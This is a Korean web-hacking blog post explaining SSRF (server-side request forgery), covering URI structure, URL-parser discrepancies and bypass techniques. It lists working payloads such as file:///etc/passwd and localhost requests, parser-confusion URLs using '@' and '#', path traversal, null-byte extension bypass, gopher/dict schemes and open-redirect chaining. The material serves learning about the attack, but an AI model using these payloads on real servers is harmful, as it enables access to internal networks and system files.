728x90

SSRF란?

SSRF는 Server-side Request Forgery의 약자이다. CSRF와 달리 서버가 직접 호출해서 발생하는 문제이다. 이를 통해서 외부에서 내부망에 대해 접근하거나 스캔하고 각종 보안장비들을 피해갈 수 있다.

 

SSRF는 사용자 입력을 받아 서버가 직접 다른 웹이나 포트에 직접 접근해서 데이터를 가져오는 기능들에서 주로 발생한다. 별로 없을 것 같은 기능이지만 실제로 굉장히 많이 쓰이고 있는 기능이다.

 

URI의 구조

일단 URI를 처음 들어본 사람도 있을것이다. URI를 간단히 설명하면 URL과 URN을 합친것이다. 물론 URL과 URN은 교집합이 존재한다. 간단히 예시를 들어보자.

 

http://www.skyhell.co.kr:80/main/photo.php?url=apple#top

 

위에 임의로 URI를 만들어 보았다. 이제 저 URI를 하나하나 분석해 보자.

 http: 

 프로토콜

 www

 서브도메인 

 skyhell

 도메인

 co

 ccTLD(Country Code Top Level Domain) 

 kr

 TLD(Top Level Domain) 

 80 

 포트

 main 

 경로 

 photo 

 페이지 

 php 

 확장자 

 url=apple 

 파라미터 

 top 

 Anchor 

 

위의 예시에서 http:에서 main까지가 URL이고 www부터 apple#까지가 URN이다. 그리고 그 두개를 합친것이 URI가 되는것이다.

URL Parser

각각의 언어들마다 URI을 분석하는 parser가 있다. 이 parser들은 분석하는 과정이 약간씩 다르고 parser도 완벽하지 않아서 모든 사용자의 입력을 예상할수 없다. 여기서 취약점이 나올 수 있다.

 

SSRF in cURL

이렇게 입력을 해주면 당연히 google로 접속해야 될것 같지만 korec 홈페이지로 접속이 됩니다. 어떻게 이런일이 일어났을까? URL parser들이 url을 분리하는 부분이 달라서 특정 부분들은 다시 도메인으로 인지시킬 수 있다. curl같은 경우에는 @의 오른쪽을 도메인으로 사용하기 때문에 웹에서는 google.com으로 인지하는것으로 끊어졌지만 내부 curl로 넘어오는순간 오른쪽 부분을 도메인으로 보고 호출하는 것이다.

 

위처럼 개행문자를 이용하는 방법도 있다. 지금 로컬서버로 연결을 끊어놔서 그렇지만 열어두면 앞에 로컬서버로도 들어가지고 뒤에 korec 홈페이지로도 들어가진다.

이것도 개행문자를 쓰는것과 비슷한데 간단히 CR과 LF를 이용하는 방법이다.

 

SSRF 공격

 

php는 http://Wrapper를 지원하기 때문에 fopen(), include/require, cURL등에 인자로 http://url형태를 넘겨 외부 도메인에 있는 리소스를 가져올 수 있다. http://이외에도 다양한 Wrapper를 사용할 수 있고 위의 함수들 뿐만 아니라 user input을 참고해서 외부 request를 보내는 상황이면 어디서든지 발생할 수 있다.

상위 디렉토리 우회는 " ../ "로 한다. 이때 웹서버 루트가 아니라 파일시스템 루트까지 가능하다.

확장자 우회는 " %00 ", " ? ", " # "으로 한다.

?url=http://localhost/server-status를 통해 localhost service에 접근한다.

?url=file:///etc/passwd를 통해 file system에 접근한다.

server application에서 사용하는 request방식에 따라 이 밖의 url schema도 사용할 수 있다. (dict://, gopher://, 1dap://)

 

이제 제대로 공격을 하는 방법을 보자

먼저 필터링 하지 않는 url을 알아야 된다.

http://127.0.0.1:20/?@google.com:80/

http://127.0.0.1:20/#@google.com:80/

http://google.com:80+&@google.com:80#+@127.0.0.1:22/

http://127.0.0.1:22/+&@google.com:80#+@google.com:80/

http://google.com:80+&@127.0.0.1:22/#+@google.com:80/

 

url blacklist라는 것이 있다. blacklist로 막은 것들은 우회가 가능하다.

http://hello@www.korec.kr/

아까 curl처럼 이것도 이렇게 하면 @의 왼쪽에 있는 것들은 무시된다. 원래는 id:pw@url 형식으로 사용하도록 되어있기 떄문이다.

 

그리고 이제 필터링 하지 않는 url을 찾아냈을때, 이를 이용해서 어떻게 localhost에 접근하는지 알아보자.

localhost등을 넘기다가 필터링 당하는 경우라던지 url schema를 gopher://등으로 변경해야 하는 경우, 또 데이터를 가공해야 되는 경우에 open redirect 취약점이 존재한다면 그것을 이용해 일단 내 서버로 요청하게 한 다음에 내 서버에서 요청을 적당히 처리하여 반환하도록 할수있다.

 

SSRF를 이용해 서버가 어떤 데이터를 수신했을때 그 데이터가 적절한 형태인지 체크한다면 형식을 맞춰주어야한다. 보통 Forged request를 보내는 타겟이 내 서버가 되기 때문에 형식을 맞춰 보내는것은 어렵지 않은데 victim으로 보내야되는 데이터가 php source같이 실행되어야 하는 경우 형식을 맞춰주면서 그냥 데이터가 되어버려서 실행이 되지 않는다. 그래서 이를 우회해야된다. command curl은 패턴을 지정하여 여러 request를 보낼수있는데 이때 모든 response가 concatenate되기 때문에 이를 이용해 형식을 맞출수있다.

curl http://mserv.com/[1-3].php

 

 

 

 

'Hacking > Web Hacking' 카테고리의 다른 글

NoSQL Injection  (0) 2018.01.21

+ Recent posts